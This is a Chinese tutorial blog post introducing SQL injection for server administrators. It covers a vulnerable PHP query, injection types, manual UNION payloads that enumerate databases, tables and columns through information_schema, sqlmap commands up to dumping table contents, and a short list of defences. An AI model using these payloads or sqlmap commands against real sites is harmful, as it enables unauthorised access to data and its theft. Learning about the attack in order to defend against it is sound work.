zoukankan      html  css  js  c++  java
  • 了解web漏洞-sql注入

    1:为什么要学web漏洞?
    作为一个运维人员,日常工作就是保障服务器和网站的业务正常运行,平时也需要对服务器的安全工作加固,说到防护攻击问题,那么久必须去了解攻击者是怎么对服务器发动的一个流程,这样才能更好的针对去做安全防护工作。
     
     
    2:SQL注入漏洞原理
    首先了解下什么是SQL?
    结构化查询语言(Structured Query Language),是一种特殊目的的编程语言,是一种数据库查询和程序设计语言,用于存取数据以及查询、更新和管理关系数据库系统;
     
    以下PHP+MySQL例子:
    http://localhost/a.php?id=1’
     
     
    $id=$_GET['id’];
    $sql="SELECT * FROM users WHERE id=$id' LIMIT 0,1";
     
     
    3:如何去发现sql注入
    ①通过Web漏洞扫描器工具
    ②在参数后面添加错误语句
    ③通过大量的对参数Fuzz测试
    ④根据自己的一个经验进行判断
     
    4:注入分类
    ①数字型注入
    SELECT * FROM users WHERE id=$id LIMIT 0,1;
    ②字符型注入
    SELECT * FROM users WHERE username=‘admin' LIMIT 0,1;
     
     
    5:提交方式
    ①GET
    ②POST
    ③COOKIE
    ④HTTP 头部注入
     
    6:注入方式
    ①基于报错注入
    ②基于布尔的盲注
    ③基于时间的盲注
    ④联合查询
    ⑤内联查询
    ⑥堆叠的查询
     
    7:为什么要学习手工注入?
     
    1. 猜解字段
    2. 查看当前数据库
    3. Union select 1,group_concat(schema_name),3 from information_schema.schemata%23 // 查询所有数据库
    4. union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=0x7365637572697479%23
    //查询数据库中的表
    5. UNION SELECT 1,GROUP_CONCAT(column_name),3 FROM information_schema.columns WHERE table_name = 0x7573657273%23
    //查询表名中的所有字段
     
     
    8:sql注入工具sqlmap
     
    sqlmap官网下载地址:http://sqlmap.org/
    sqlmap依赖环境:Python
     
    sqlmap常用的参数
    1. 判断注入
    python sqlmap.py http://URL -v 3
    2. 数据库
    python sqlmap.py http://URL --dbs -v 3
    python sqlmap.py http://URL –current-user -v 3
    3. 表名
    python sqlmap.py http://URL --tables -D 数据库名 -v 3
    4. 字段名
    python sqlmap.py http://URL --column -T 表名 -D 数据库名 -v 3
    5. 内容
    python sqlmap.py http://URL --dump -T -C 字段名 -T 表名 -D 数据库名 -v 3
     
     
     
    9:如何去防护sql注入
    ①CDN隐藏真实IP地址
    ②通过安全函数进行过滤
    ③对数据库最小权限设置
    ④服务器针对性的WAF防火墙
  • 相关阅读:
    CMake命令笔记
    在Win10上,Android Studio检测不到设备的解决方案
    在MFC中使用大漠插件
    Win10更新后,IE和Edge以外的浏览器打开网页速度慢的解决方案
    jsp的自定义标签
    js和JQuery区别
    POI (Apache POI)
    TCP程序设计基础
    传参在mybatis的sql映射文件中正确获取
    I/O(输入/输出)
  • 原文地址:https://www.cnblogs.com/douyi/p/11700588.html
Copyright © 2011-2022 走看看